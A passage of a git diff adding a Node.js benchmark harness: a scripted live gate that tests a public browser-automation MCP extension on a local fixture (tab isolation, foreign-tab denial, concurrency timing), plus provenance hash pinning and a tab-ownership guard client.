assert.deepEqual(publicCatalogReceipt(catalog), summary.public_catalog); + } + const map = maps.get(diagnostic[0].task_id), marker = diagnostic[0].marker; + const recalculated = []; + for (const [index, record] of summary.compact_ref_capabilities.records.entries()) { + const spec = REF_CASES[index]; assert.equal(record.tool, spec.tool); assert.equal(record.label, spec.label); + const snapshot = stepFor(map, record.snapshot_operation_id, 'get_page_snapshot'); + let ref; try { ref = refForLabel(parsedRows(snapshot).find(row => typeof row.snapshot === 'string')?.snapshot ?? '', spec.label); } catch {} + if (record.status === 'unavailable') { assert.equal(ref, undefined); recalculated.push({ ...record, ...evaluatePublicRefDiagnostic({ tool: spec.tool, unavailable: true }) }); continue; } + assert.equal(record.ref, ref); const action = stepFor(map, record.operation_id, spec.tool); + assert.deepEqual(actorArgs(action.args), { tab_id: diagnostic[0].primary_tab_id, selector: ref, ...spec.args }); + const before = stateFromStep(stepFor(map, record.before_operation_id), marker), after = stateFromStep(stepFor(map, record.after_operation_id), marker); + assert.deepEqual(record.native_result, parsedRows(action)); + recalculated.push({ ...record, ...evaluatePublicRefDiagnostic({ tool: spec.tool, ref, before, after, rows: parsedRows(action), nativeSuccess: action.ok, nativeOutcome: action.execution_outcome, marker }) }); + } + assert.deepEqual(summarizePublicRefCapabilities(recalculated), summary.compact_ref_capabilities); + const core = summary.admission_goals.filter(row => row.kind !== 'wave_state'); + const popupKind = core.some(row => row.kind === 'popup_foreign') ? 'popup_foreign' : 'popup_isolation'; + assert.deepEqual(core.map(row => row.kind).sort(), ['dom_state', 'canvas', 'explicit_capture', 'svg_text', 'site_guide', popupKind, 'foreign_denial', 'last_tab_guard'].sort()); + for (const goal of summary.admission_goals) { + assert.equal(sessions.get(goal.task_id)?.role, goal.kind === 'wave_state' ? 'wave' : 'functional'); + verifyPublicFixtureGoal(goal, maps, sessions); + if (goal.kind === 'foreign_denial') { + const saved = await records(path.join(sessions.get(goal.task_id).raw_dir, 'public-controls.jsonl')); + assert.equal(saved.length, 1); assert.deepEqual(saved[0], goal.control); + assert.deepEqual(summary.controls, [{ name: 'native_foreign_tab_probe', requesting_task: goal.task_id, foreign_task: goal.foreign_task_id, ...goal.control }]); + } + } + assert.deepEqual(summary.concurrency.map(row => row.workers), LEVELS); + const computed = []; + for (const level of summary.concurrency) { + const wave = summary.sessions.filter(row => row.level === level.workers); assert.equal(wave.length, level.workers); + assert.deepEqual(wave.map(row => row.task_id), level.task_ids); + const complete = wave.every(row => row.export_dir && summary.admission_goals.some(goal => goal.kind === 'wave_state' && goal.task_id === row.task_id)); + const metrics = publicTimingMetrics(wave.flatMap(row => data.get(row.task_id).steps), wave.flatMap(row => data.get(row.task_id).calls), wave.reduce((n, row) => n + row.queue_expiries, 0)); + if (!complete || metrics.queue_expiries) for (const session of wave.filter(row => row.queue_expiries)) assert.equal((await queueTimingEvidence(session.raw_dir)).valid, true); + assert.ok(complete || metrics.queue_expiries > 0, 'Incomplete fixture checks are not a passing timing result'); + const actual = assessPublicLevel({ ...level, ...metrics, physical_tests_complete: complete, + physical_frames: wave.reduce((n, session) => n + (session.artifacts?.physical_frames ?? 0), 0) }, level.workers === 1 ? metrics.p95_ui_lease_ms : computed[0].p95_ui_lease_ms); + assert.deepEqual(actual, level); computed.push(actual); + } + const passed = computed.filter(row => row.ok).map(row => row.workers); + assert.deepEqual(summary.passed_levels, passed); assert.equal(summary.highest_passing_level, passed.length ? Math.max(...passed) : null); + assert.equal(summary.ok, passed.length > 0); assert.equal(summary.ok, true); + return { ok: true, profile: PUBLIC_PROFILE.id, passed_levels: passed, highest_passing_level: summary.highest_passing_level, + compact_ref_capabilities: { passed: summary.compact_ref_capabilities.passed, failed: summary.compact_ref_capabilities.failed, unavailable: summary.compact_ref_capabilities.unavailable }, + sessions: sessions.size, physical_frames: summary.sessions.reduce((n, row) => n + (row.artifacts?.physical_frames ?? 0), 0), cleanup_ok: true }; +} + +export async function publicLiveGate({ liveAuthorized = false, outputDir, command, publicPins, publicCatalog, + profilePath = PUBLIC_GATE_PROFILE_PATH, beforePublicDispatch } = {}) { + assert.equal(liveAuthorized, true, 'Public live gate requires explicit live authorization'); + assert.ok(Array.isArray(command) && command.length > 1 && command.every(value => typeof value === 'string'), 'An explicitly pinned public MCP command is required'); + const pins = await verifyPublicPins(publicPins); profilePath = path.resolve(profilePath); + const profile = JSON.parse(await readFile(profilePath, 'utf8')); + assert.deepEqual(profile.actions, PUBLIC_PROFILE.actions); assert.deepEqual(profile.reads, PUBLIC_PROFILE.reads); + assert.ok(outputDir); outputDir = path.resolve(outputDir); + assert.equal((await readdir(outputDir).catch(error => { if (error.code === 'ENOENT') return []; throw error; })).length, 0, 'Use a fresh gate evidence directory'); + await mkdir(outputDir, { recursive: true }); + publicCatalog ??= !Array.isArray(publicPins) && publicPins.catalog ? JSON.parse(await readFile(publicPins.catalog.path, 'utf8')) : undefined; + const sources = await Promise.all([fileURLToPath(import.meta.url), FIXTURE_PATH, profilePath, ...SOURCE_MODULES.map(file => path.join(HERE, file))].map(descriptor)); + const server = await startFixtureServer(), scheduler = new BrowserScheduler(), contexts = []; + const summary = { version: PUBLIC_GATE_VERSION, public_release: true, profile: PUBLIC_PROFILE.id, + synthetic: true, benchmark_result: false, no_model_calls: true, output_dir: outputDir, fixture_origin: server.origin, + started_at: new Date().toISOString(), command_sha256: sha(compact(command)), public_pins: pins, sources, + hard_queue_ms: scheduler.maxQueueMs, correctness_ok: false, cleanup_ok: false, ok: false, + checks: [], admission_goals: [], controls: [], compact_ref_capabilities: null, concurrency: [], sessions: [], + limitations: ['Capability failures are public FSB results, not benchmark task scores.', + 'Guard continuity and a denied foreign-tab control do not attest to an unexposed native registry or browser-wide tab inventory.', + 'The public MCP may internally re-register/retry; this wrapper does not replay calls.', + 'The public Google search fallback remains available. No unsupported wait or search-disable parameter is used.'] }; + await writeFile(path.join(outputDir, 'manifest.json'), json(summary), { flag: 'wx' }); + async function createContext(role, level = null) { + const taskId = `public_gate_${role}_${randomUUID().replaceAll('-', '')}`, rawDir = path.join(outputDir, 'raw', taskId); + const proxy = new ManualRecordingProxy({ command, public_release: true, publicCatalog, beforePublicDispatch, + rawDir, startUrl: fixtureUrl(server.origin, taskId), taskId, attemptId: 'public-scripted-gate', scheduler, + maxActions: 120, deadline: Date.now() + 1_200_000, onFault: fault => scheduler.halt(`Public fixture fault: ${fault.code}`) }); + const context = { taskId, marker: taskId, rawDir, proxy, role, level }; proxy.gateCompletedUnknowns = []; + contexts.push(context); await proxy.upstream.initialize(); await proxy.preparePublicRelease(); + const catalog = await proxy.handle('tools/list'); assert.deepEqual(catalog.tools.map(tool => tool.name).sort(), [...PUBLIC_ALLOWED_TOOLS].sort()); + summary.public_catalog ??= structuredClone(proxy.meta.public_catalog); assert.deepEqual(proxy.meta.public_catalog, summary.public_catalog); + return context; + } + const goal = async value => { + const sessions = new Map(contexts.map(context => [context.taskId, { task_id: context.taskId, marker: context.marker, primary_tab_id: context.proxy.tabId }])); + const maps = new Map(await Promise.all(contexts.map(async context => [context.taskId, byOperation(await records(path.join(context.rawDir, 'steps.jsonl'), true))]))); + verifyPublicFixtureGoal(value, maps, sessions); summary.admission_goals.push(value); + summary.checks.push({ name: value.kind, ok: true, task_id: value.task_id }); + }; + async function executeClick(context, tabId) { return gateCall(context, 'execute_js', { tab_id: tabId, code: PUBLIC_CLICK_SCRIPT }, { imageCount: 1, observeCompletedUnknown: true }); } + try { + const diagnostic = await createContext('ref_diagnostics'); + await readState(diagnostic); + summary.compact_ref_capabilities = await runPublicRefDiagnostics({ marker: diagnostic.marker, tabId: diagnostic.proxy.tabId, + call: (name, args, options) => gateCall(diagnostic, name, args, options), readState: tabId => readState(diagnostic, tabId) }); + await exportContext(diagnostic, outputDir, profilePath, server.origin); await diagnostic.proxy.close(); + assert.equal(diagnostic.proxy.meta.cleanup_ok, true); + + const context = await createContext('functional'); const before = await readState(context), primary = context.proxy.tabId; + const action = await gateCall(context, 'execute_js', { tab_id: primary, code: PUBLIC_STATE_SCRIPT }, { imageCount: 1, observeCompletedUnknown: true }); + const after = await readState(context); + await goal({ kind: 'dom_state', task_id: context.taskId, before_operation_id: before.operation_id, action_operation_id: action.operation_id, after_operation_id: after.operation_id }); + const canvasBefore = await readState(context), canvas = await clickCoordinates(context, '#gate-canvas'), canvasAfter = await readState(context); + await goal({ kind: 'canvas', task_id: context.taskId, before_operation_id: canvasBefore.operation_id, action_operation_id: canvas.operation_id, + geometry_operation_id: canvas.geometry_operation_id, after_operation_id: canvasAfter.operation_id }); + const capture = await gateCall(context, 'capture_screenshot', {}, { imageCount: 1 }); await goal({ kind: 'explicit_capture', task_id: context.taskId, operation_id: capture.operation_id }); + const svg = await gateCall(context, 'get_text', { selector: '#after-svg' }, { imageCount: 1 }); await goal({ kind: 'svg_text', task_id: context.taskId, operation_id: svg.operation_id }); + const guide = await gateCall(context, 'get_site_guide', { domain: 'amazon.com' }, { imageCount: 0 }); await goal({ kind: 'site_guide', task_id: context.taskId, operation_id: guide.operation_id }); + await gateCall(context, 'navigate', { tab_id: primary, url: fixtureUrl(server.origin, context.marker, 'isolation') }, { imageCount: 1 }); + const parentBefore = await readState(context); await clickCoordinates(context, '#gate-popup'); + let inventory, child; + for (let tries = 0; tries < 5 && !child; tries++) { + inventory = await gateCall(context, 'list_tabs', {}, { imageCount: 0 }); const tabs = ownedTabsFromResult(inventory.result); + assert.ok(tabs.some(tab => tab.id === primary)); assert.ok(tabs.length <= 2); + child = tabs.find(tab => tab.id !== primary); if (!child && tries < 4) await new Promise(resolve => setTimeout(resolve, 200)); + } + assert.ok(child, 'Public scoped inventory did not identify exactly one popup'); + // The public release may list the popup while assigning it to another agent. + // That is recorded as a product capability, like the compact-ref diagnostics. + const probe = await gateCall(context, 'get_text', { tab_id: child.id, selector: '#gate-state' }, { allowFailure: true }); + const popupForeign = context.proxy.session.foreign.has(child.id); + summary.popup_capability = { status: popupForeign ? 'foreign_owned' : 'controllable', popup_tab_id: child.id, probe_operation_id: probe.operation_id, + native_error: popupForeign ? context.proxy.session.foreign.get(child.id).native_error : null, admission_requirement: false }; + if (popupForeign) { + const parentAfterPopup = await readState(context); + await goal({ kind: 'popup_foreign', task_id: context.taskId, primary_tab_id: primary, popup_tab_id: child.id, + inventory_operation_id: inventory.operation_id, before_operation_id: parentBefore.operation_id, probe_operation_id: probe.operation_id, + after_operation_id: parentAfterPopup.operation_id }); + } else { + const childBefore = await readState(context, child.id), childAction = await executeClick(context, child.id), childAfter = await readState(context, child.id); + const parentMiddle = await readState(context), parentAction = await executeClick(context, primary), parentAfter = await readState(context), childAgain = await readState(context, child.id); + await goal({ kind: 'popup_isolation', task_id: context.taskId, primary_tab_id: primary, popup_tab_id: child.id, + inventory_operation_id: inventory.operation_id, before_operation_id: parentBefore.operation_id, child_before_operation_id: childBefore.operation_id, + child_action_operation_id: childAction.operation_id, child_after_operation_id: childAfter.operation_id, parent_unchanged_operation_id: parentMiddle.operation_id, + parent_action_operation_id: parentAction.operation_id, after_operation_id: parentAfter.operation_id, child_unchanged_operation_id: childAgain.operation_id }); + } + const foreign = await createContext('foreign_control'), foreignBefore = await readState(foreign); + const deniedArgs = { tab_id: foreign.proxy.tabId, selector: '#marker' }; + const denied = await scheduler.run(context.proxy.ownerId, () => context.proxy.request('get_text', deniedArgs, 15_000)); + assertSettled(context.proxy); assert.equal(resultOK(denied), false); + const control = { tool: 'get_text', args: deniedArgs, rows: resultData(denied), native_success: resultOK(denied), isError: denied.isError === true }; + await appendFile(path.join(context.rawDir, 'public-controls.jsonl'), compact(control) + '\n'); + summary.controls.push({ name: 'native_foreign_tab_probe', requesting_task: context.taskId, foreign_task: foreign.taskId, ...control }); + const foreignAfter = await readState(foreign); + await goal({ kind: 'foreign_denial', task_id: context.taskId, foreign_task_id: foreign.taskId, before_foreign_operation_id: foreignBefore.operation_id, + after_foreign_operation_id: foreignAfter.operation_id, control }); + // Close the popup first so the actor guard is tested against one working tab. + // A foreign-owned popup cannot be closed through FSB; cleanup closes it by tab ID. + if (!popupForeign) await gateCall(context, 'close_tab', { tab_id: child.id }, { imageCount: 1 }); + const refused = await gateCall(context, 'close_tab', { tab_id: primary }, { allowFailure: true, imageCount: 0 }); + await goal({ kind: 'last_tab_guard', task_id: context.taskId, operation_id: refused.operation_id }); + await exportContext(context, outputDir, profilePath, server.origin); await exportContext(foreign, outputDir, profilePath, server.origin); + await settleOperations([context.proxy.close(), foreign.proxy.close()]); + assert.ok(context.proxy.meta.cleanup_ok && foreign.proxy.meta.cleanup_ok); + + for (const workers of LEVELS) { + const from = contexts.length; let error; + try { + const wave = await settleOperations(Array.from({ length: workers }, () => createContext('wave', workers))); + await settleOperations(wave.map(async context => { + const before = await readState(context), action = await executeClick(context, context.proxy.tabId), after = await readState(context); + assert.equal(after.state.clicks, before.state.clicks + 1); assert.equal(after.state.marker, context.marker); + await goal({ kind: 'wave_state', task_id: context.taskId, before_operation_id: before.operation_id, action_operation_id: action.operation_id, after_operation_id: after.operation_id }); + await exportContext(context, outputDir, profilePath, server.origin); + })); + } catch (caught) { error = caught; } + const wave = contexts.slice(from), steps = [], calls = []; + for (const context of wave) { + context.queue_evidence = await queueTimingEvidence(context.rawDir); + if (!context.artifacts) try { await exportContext(context, outputDir, profilePath, server.origin); } + catch (caught) { if (!(context.queue_evidence.can_explain_missing_export && MISSING_QUEUE_EXPORT_CODES.has(caught.code))) throw caught; } + await context.proxy.close(); assert.equal(context.proxy.meta.cleanup_ok, true); assertSettled(context.proxy); + steps.push(...await records(path.join(context.rawDir, 'steps.jsonl'), true)); calls.push(...await records(path.join(context.rawDir, 'gate-calls.jsonl'), true)); + } + const expiries = wave.reduce((n, context) => n + (context.proxy.meta.queue_expiries ?? 0), 0); + if (expiries) for (const context of wave.filter(context => context.proxy.meta.queue_expiries)) assert.equal(context.queue_evidence.valid, true); + if (error && !(expiries && (QUEUE_TIMEOUT_CODES.has(error.code) || error.code === 'ACTOR_IMAGE_COUNT'))) throw error; + const complete = !error && wave.length === workers && wave.every(context => context.artifacts && summary.admission_goals.some(row => row.kind === 'wave_state' && row.task_id === context.taskId)); + assert.ok(complete || expiries > 0, 'Incomplete physical-state checks require a proved queue denial'); + const metrics = publicTimingMetrics(steps, calls, expiries); + summary.concurrency.push(assessPublicLevel({ workers, ...metrics, physical_tests_complete: complete, task_ids: wave.map(context => context.taskId), + physical_frames: wave.reduce((n, context) => n + (context.artifacts?.physical_frames ?? 0), 0) }, workers === 1 ? metrics.p95_ui_lease_ms : summary.concurrency[0].p95_ui_lease_ms)); + } + summary.correctness_ok = true; + } catch (error) { + summary.error = error.message; summary.error_code = error.code ?? error.name; scheduler.halt('Public fixture admission failed'); + } finally { + for (const context of contexts) { + try { await context.proxy.close(); } catch (error) { context.cleanup_error = error.message; } + summary.sessions.push({ task_id: context.taskId, marker: context.marker, role: context.role, level: context.level, + primary_tab_id: context.proxy.tabId, raw_dir: context.rawDir, export_dir: context.export_dir ?? null, + artifacts: context.artifacts ?? null, cleanup_ok: context.proxy.meta.cleanup_ok === true, + cleanup_error: context.cleanup_error ?? context.proxy.meta.cleanup_error ?? null, queue_expiries: context.proxy.meta.queue_expiries ?? 0, + level_timing_failed: context.level !== null && summary.concurrency.find(level => level.workers === context.level)?.ok === false, + queue_timing_evidence: context.queue_evidence ?? null, + completed_unknowns: context.proxy.gateCompletedUnknowns, raw_evidence: await treeDescriptor(context.rawDir), + export_evidence: context.export_dir ? await treeDescriptor(context.export_dir) : null }); + } + summary.cleanup_ok = contexts.length > 0 && contexts.every(context => context.proxy.meta.cleanup_ok === true); + summary.passed_levels = summary.concurrency.filter(row => row.ok).map(row => row.workers); + summary.highest_passing_level = summary.passed_levels.length ? Math.max(...summary.passed_levels) : null; + summary.queue_expiries = contexts.reduce((n, context) => n + (context.proxy.meta.queue_expiries ?? 0), 0); + summary.ok = summary.correctness_ok && summary.cleanup_ok && summary.passed_levels.length > 0; + await server.close(); summary.ended_at = new Date().toISOString(); + if (summary.ok) try { await verifyPublicLocalGateEvidence(summary, { gateDir: outputDir, serverCommand: command, publicPins, profilePath }); } + catch (error) { summary.ok = false; summary.correctness_ok = false; summary.error = error.message; summary.error_code = error.code ?? 'PUBLIC_GATE_EVIDENCE_INVALID'; } + await writeFile(path.join(outputDir, 'summary.json'), json(summary)); + } + return summary; +} + +if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) { + const { values } = parseArgs({ options: { 'run-live': { type: 'boolean' }, output: { type: 'string' }, profile: { type: 'string' }, + 'fsb-server-cmd': { type: 'string' }, 'public-pins': { type: 'string' } } }); + const summary = await publicLiveGate({ liveAuthorized: values['run-live'] === true, outputDir: values.output, profilePath: values.profile, + command: values['fsb-server-cmd'] ? JSON.parse(values['fsb-server-cmd']) : undefined, + publicPins: values['public-pins'] ? JSON.parse(await readFile(values['public-pins'], 'utf8')) : undefined }); + console.log(compact({ ok: summary.ok, correctness_ok: summary.correctness_ok, cleanup_ok: summary.cleanup_ok, + passed_levels: summary.passed_levels, ref_capabilities: summary.compact_ref_capabilities && { passed: summary.compact_ref_capabilities.passed, failed: summary.compact_ref_capabilities.failed, unavailable: summary.compact_ref_capabilities.unavailable }, + output_dir: summary.output_dir, error_code: summary.error_code })); + if (!summary.ok) process.exitCode = 1; +} diff --git a/mind2web/harness/public-provenance.mjs b/mind2web/harness/public-provenance.mjs new file mode 100644 index 000000000..268dab009 --- /dev/null +++ b/mind2web/harness/public-provenance.mjs @@ -0,0 +1,141 @@ +import { readFile, readdir, realpath, lstat } from 'node:fs/promises'; +import { createHash } from 'node:crypto'; +import { spawn } from 'node:child_process'; +import { homedir } from 'node:os'; +import path from 'node:path'; +import { BENCH_ROOT } from './proc.mjs'; +import { hashTree } from './fingerprint.mjs'; +import { sourceFingerprint } from './manual-runner.mjs'; +import { CLAUDE_CLI } from './model-family.mjs'; +import { attachmentIdentity } from './public-attachment-monitor.mjs'; + +const hash = bytes => createHash('sha256').update(bytes).digest('hex'); +const json = file => readFile(file, 'utf8').then(JSON.parse); +const stable = value => JSON.stringify(value && typeof value === 'object' ? Array.isArray(value) + ? value.map(item => JSON.parse(stable(item))) : Object.fromEntries(Object.keys(value).sort().map(key => [key, JSON.parse(stable(value[key]))])) : value); +export async function fileDescriptor(file) { + const bytes = await readFile(file); + return { path: path.resolve(file), bytes: bytes.length, sha256: hash(bytes) }; +} + +export async function verifyPublicPins(pins) { + if (!pins || pins.extension_id !== 'badgafnfchcihdfnjneklogedcdkmjfk' || pins.extension_version !== '0.9.92' + || pins.mcp_version !== '0.11.2' || !Array.isArray(pins.files) || !pins.files.length + || !pins.attachment || !pins.extension_archive || !pins.mcp_receipt || !pins.catalog || !pins.source_binding) throw new Error('Complete public release provenance pins are required'); + for (const item of pins.files) if (stable(await fileDescriptor(item.path)) !== stable(item)) throw new Error('Public provenance file changed'); + for (const item of [pins.extension_archive, pins.mcp_receipt, pins.catalog, pins.source_binding]) { + if (!pins.files.some(file => stable(file) === stable(item))) throw new Error('Public provenance reference is outside the frozen file list'); + } + const binding = await json(pins.source_binding.path); + if (binding.extension_id !== pins.extension_id || binding.version !== pins.extension_version || binding.source !== 'Chrome Web Store' + || binding.normal_install_observed !== true || binding.installed_bytes_modified !== false + || binding.experimental_product_patches_loaded !== false || stable(binding.attachment) !== stable(pins.attachment) + || !Array.isArray(binding.ui_evidence) || binding.ui_evidence.length !== 2) throw new Error('Public source binding is incomplete'); + for (const item of binding.ui_evidence) if (!pins.files.some(file => stable(file) === stable(item))) throw new Error('Public Web Store UI proof is outside frozen evidence'); + return true; +} + +/** Published CLI diagnostics are read-only. Raw diagnostics and stderr are never recorded. */ +export async function observePublicAttachment(serverCommand, { timeoutMs = 15_000 } = {}) { + const child = spawn(serverCommand[0], [serverCommand[1], 'status', '--json'], { stdio: ['ignore', 'pipe', 'pipe'] }); + let stdout = '', stderrBytes = 0, exceeded = false, timedOut = false, killTimer; + const stop = () => { child.kill('SIGTERM'); killTimer ??= setTimeout(() => child.kill('SIGKILL'), 2500); }; + const timer = setTimeout(() => { timedOut = true; stop(); }, timeoutMs); + child.stdout.on('data', bytes => { + if (stdout.length + bytes.length > 2_000_000) { exceeded = true; stop(); } + else stdout += bytes; + }); + child.stderr.on('data', bytes => { stderrBytes += bytes.length; }); + const code = await new Promise((resolve, reject) => { child.once('error', reject); child.once('close', resolve); }).finally(() => { clearTimeout(timer); clearTimeout(killTimer); }); + if (code !== 0 || exceeded || timedOut) throw new Error('Public extension attachment observation failed'); + let diagnostics; try { diagnostics = JSON.parse(stdout); } catch { throw new Error('Public extension attachment diagnostics are malformed'); } + const attachment = diagnostics.extensionAttachment; + if (diagnostics.extensionConnected !== true || !attachment || !['extensionId', 'extensionVersion', 'installInstanceId', 'connectedAt'].every(key => typeof attachment[key] === 'string' && attachment[key])) throw new Error('No authoritative public extension attachment'); + return { attachment: Object.fromEntries(['extensionId', 'extensionVersion', 'installInstanceId', 'connectedAt'].map(key => [key, attachment[key]])), + stderr_bytes_discarded: stderrBytes }; +} + +async function inventory(root) { + const rows = []; + async function visit(directory) { + for (const entry of await readdir(directory, { withFileTypes: true })) { + const file = path.join(directory, entry.name); + if (entry.isSymbolicLink()) throw new Error('Public installed package contains an unexpected symlink'); + if (entry.isDirectory()) { if (entry.name !== '_metadata') await visit(file); } + else if (entry.isFile()) { + const bytes = await readFile(file); + rows.push({ path: path.relative(root, file).split(path.sep).join('/'), bytes: bytes.length, sha256: hash(bytes) }); + } + } + } + await visit(root); + rows.sort((a, b) => a.path.localeCompare(b.path, 'en')); + // The archive used Python's Unicode code-point ordering for relative paths. + rows.sort((a, b) => a.path < b.path ? -1 : a.path > b.path ? 1 : 0); + return { files: rows.length, bytes: rows.reduce((sum, row) => sum + row.bytes, 0), sha256: hash(stable(rows)) }; +} + +async function verifyPublishedPackage(root, receipt) { + const rows = await json(path.resolve(receipt.published_file_inventory.path)); + for (const row of rows) { + if (!row.path.startsWith('package/') || row.path.includes('/../')) throw new Error('Unsafe published package inventory'); + const file = path.join(root, row.path.slice('package/'.length)); + if (!(await lstat(file)).isFile()) throw new Error('Published package file is missing or not regular'); + const bytes = await readFile(file); + if (bytes.length !== row.bytes || hash(bytes) !== row.sha256) throw new Error('Published MCP package bytes changed'); + } + return { files: rows.length, inventory_sha256: receipt.published_file_inventory.sha256 }; +} + +export async function capturePublicSources({ serverCommand, extensionDir, publicPins }) { + await verifyPublicPins(publicPins); + const archive = await json(publicPins.extension_archive.path), mcp = await json(publicPins.mcp_receipt.path); + const entry = await realpath(serverCommand[1]), runtimeRoot = path.dirname(path.dirname(entry)); + if (runtimeRoot !== await realpath(mcp.package_root) || mcp.version !== publicPins.mcp_version + || entry !== await realpath(path.join(mcp.package_root, 'build/index.js')) + || hash(await readFile(path.resolve(mcp.tarball.path))) !== mcp.tarball.sha256 + || hash(await readFile(path.resolve(mcp.published_file_inventory.path))) !== mcp.published_file_inventory.sha256) throw new Error('Public MCP command is not the archived published package'); + const published = await verifyPublishedPackage(runtimeRoot, mcp); + const candidates = archive.candidate_paths.filter(candidate => candidate.version === publicPins.extension_version && candidate.archived); + if (!candidates.length || !candidates.some(candidate => path.resolve(candidate.source_path) === path.resolve(extensionDir))) throw new Error('Public extension path is not an archived Web Store package'); + const chromeRoot = path.join(homedir(), 'Library/Application Support/Google/Chrome'); + for (const profile of (await readdir(chromeRoot, { withFileTypes: true })).filter(entry => entry.isDirectory() && (entry.name === 'Default' || /^Profile \d+$/.test(entry.name)))) { + const extensions = path.join(chromeRoot, profile.name, 'Extensions', publicPins.extension_id); + const versions = await readdir(extensions).catch(error => { if (error.code === 'ENOENT') return []; throw error; }); + for (const version of versions) { + const candidatePath = path.join(extensions, version); + const manifest = await json(path.join(candidatePath, 'manifest.json')); + if (manifest.version === publicPins.extension_version && !candidates.some(candidate => candidate.source_path === candidatePath)) throw new Error('A new public extension candidate requires source binding again'); + } + } + const installed = []; + for (const candidate of candidates) { + const current = await inventory(candidate.source_path); + if (current.sha256 !== candidate.content_without_store_metadata_sha256) throw new Error('Public extension installed content changed'); + installed.push({ path: candidate.source_path, content_sha256: current.sha256, files: current.files, bytes: current.bytes }); + } + if (new Set(installed.map(candidate => candidate.content_sha256)).size !== 1) throw new Error('Same-ID public extension candidates differ'); + // A momentary WebSocket reconnect of the same install should not fail a checkpoint. + let observed; + for (let attempt = 1; !observed; attempt++) { + try { observed = await observePublicAttachment(serverCommand); } + catch (error) { if (attempt >= 6) throw error; await new Promise(resolve => setTimeout(resolve, 5000)); } + } + if (stable(attachmentIdentity(observed.attachment)) !== stable(attachmentIdentity(publicPins.attachment))) throw new Error('Public extension install changed; checkpoint and regate'); + const nativeRoot = path.join(homedir(), '.fsb/native-host/runtime/package'); + const fingerprintOptions = { serverCommand, extensionDir, publicRelease: true, publicPins }; + const fingerprints = await sourceFingerprint(fingerprintOptions); + return { public_release: true, fingerprints, extension: { id: publicPins.extension_id, version: publicPins.extension_version, + source: 'Chrome Web Store', installed_candidates: installed, attachment: attachmentIdentity(observed.attachment), + binding_method: 'Normal Web Store runtime identity and version, with identical non-metadata source content across every archived same-ID installed candidate. Exact Chrome profile path and in-memory bytecode are not attested.' }, + public_client: { package_root: runtimeRoot, version: mcp.version, published_at: mcp.published_at, + tarball_sha256: mcp.tarball.sha256, ...published, modified: false }, + installed_native_transport: { package_dir: nativeRoot, + build_sha256: await hashTree(path.join(nativeRoot, 'build'), () => true), + ai_sha256: await hashTree(path.join(nativeRoot, 'ai'), () => true), + dependencies_sha256: await hashTree(path.join(nativeRoot, 'node_modules'), () => true) }, + toolchain: { claude: await fileDescriptor(CLAUDE_CLI), + node: await fileDescriptor(await realpath(process.execPath)), node_version: process.version, + fsb_node: await fileDescriptor(await realpath(serverCommand[0])) }, + files: [...publicPins.files, await fileDescriptor(path.join(BENCH_ROOT, 'config/browser-manual-public-v1.json'))] }; +} diff --git a/mind2web/harness/public-release-client.mjs b/mind2web/harness/public-release-client.mjs new file mode 100644 index 000000000..b53c94791 --- /dev/null +++ b/mind2web/harness/public-release-client.mjs @@ -0,0 +1,344 @@ +import { createServer } from 'node:http'; +import { randomUUID, createHash } from 'node:crypto'; +import { inspectPng } from './png.mjs'; + +const CREDENTIAL_FIELDS = new Set([ + 'ownershipToken', 'ownershipTokens', 'ownership_token', 'ownership_tokens', 'ownedBindings', + 'includeOwnedBindings', 'ownedScopeDrained', 'connectionId', 'connection_id', +]); +const IDENTITY_FIELDS = ['agentId', 'agent_id', 'requestingAgentId']; +export const PUBLIC_RELEASE_ADAPTER_VERSION = 'public-release-guard-v1'; +const LIMITATION = 'The stock public MCP client may internally re-register and retry after AGENT_NOT_REGISTERED. ' + + 'This wrapper never retries a call. Guard presence verifies causal guard continuity, not an unexposed agent identity or private registry drain.'; +const sha256 = bytes => createHash('sha256').update(bytes).digest('hex'); +const plain = value => value !== null && typeof value === 'object' && !Array.isArray(value); + +function problem(code, message) { return Object.assign(new Error(message), { code }); } +function objectRows(result) { + if (!Array.isArray(result?.content)) return []; + return result.content.flatMap(block => { + if (block?.type !== 'text' || typeof block.text !== 'string') return []; + try { const value = JSON.parse(block.text); return plain(value) ? [value] : []; } catch { return []; } + }); +} +function successful(result) { + return !!result && result.isError !== true && !objectRows(result).some(row => row.success === false || row.error); +} +function tabId(row) { + const values = [row?.id, row?.tabId, row?.tab_id].filter(value => value !== undefined); + if (!values.length || values.some(value => !Number.isSafeInteger(value) || value <= 0 || value !== values[0])) + throw problem('PUBLIC_INVENTORY_INVALID', 'Public inventory contains an invalid or conflicting tab ID'); + return values[0]; +} + +async function guardServer() { + const marker = `public-fsb-guard-${randomUUID()}`, route = `/${randomUUID()}`; + const html = Buffer.from('FSB benchmark ownership guard' + + '' + + `
${marker}

Temporary benchmark ownership guard.

`); + const server = createServer((request, response) => { + if (request.method !== 'GET' || request.url !== route) { response.writeHead(404); response.end(); return; } + response.writeHead(200, { 'content-type': 'text/html; charset=utf-8', 'content-length': html.length, + 'cache-control': 'no-store', 'content-security-policy': "default-src 'none'; style-src 'unsafe-inline'", connection: 'close' }); + response.end(html); + }); + server.requestTimeout = 5000; server.headersTimeout = 5000; server.keepAliveTimeout = 1000; + server.maxConnections = 4; + await new Promise((resolve, reject) => { server.once('error', reject); server.listen(0, '127.0.0.1', resolve); }); + return { url: `http://127.0.0.1:${server.address().port}${route}`, marker, + close: () => new Promise((resolve, reject) => { + server.closeAllConnections(); server.close(error => error ? reject(error) : resolve()); + }) }; +} + +/** + * External adapter for an unchanged public MCP stdio client. Construct the raw + * StdioClient with stderr:null: native debug output is not an evidence channel. + * The caller holds its global foreground lease for guard setup, health and + * disposal, and restricts every actor target to its explicit causal task IDs. + */ +export class PublicReleaseClient { + #raw; #serverFactory; #server; #guardId = null; #marker; #guardUrl; #originalIdentity = null; #foreign = new Set(); + #secrets = new Set(); #tail = Promise.resolve(); #initialized = false; #openRequested = false; + #prepared = false; #closeAttempted = false; #disposed = false; #closed = false; #fault = null; + #lastInventory = null; #drain = null; #continuityChecks = 0; #clock; #clientLabel; #closeReceipt; + #notification; + + constructor(rawClient, { createGuardServer = guardServer, now = () => new Date().toISOString(), clientLabel = 'Claude' } = {}) { + if (!rawClient || typeof rawClient.request !== 'function' || typeof rawClient.close !== 'function') + throw new TypeError('A raw public MCP client with request and close methods is required'); + if (!['Codex', 'Claude'].includes(clientLabel)) throw new TypeError('Unsupported public MCP client label'); + this.#raw = rawClient; this.#serverFactory = createGuardServer; this.#clock = now; this.#clientLabel = clientLabel; + this.#raw.onNotification = message => this.#notification?.(this.#sanitize(message)); + } + #serial(operation) { + const next = this.#tail.then(operation, operation); this.#tail = next.catch(() => 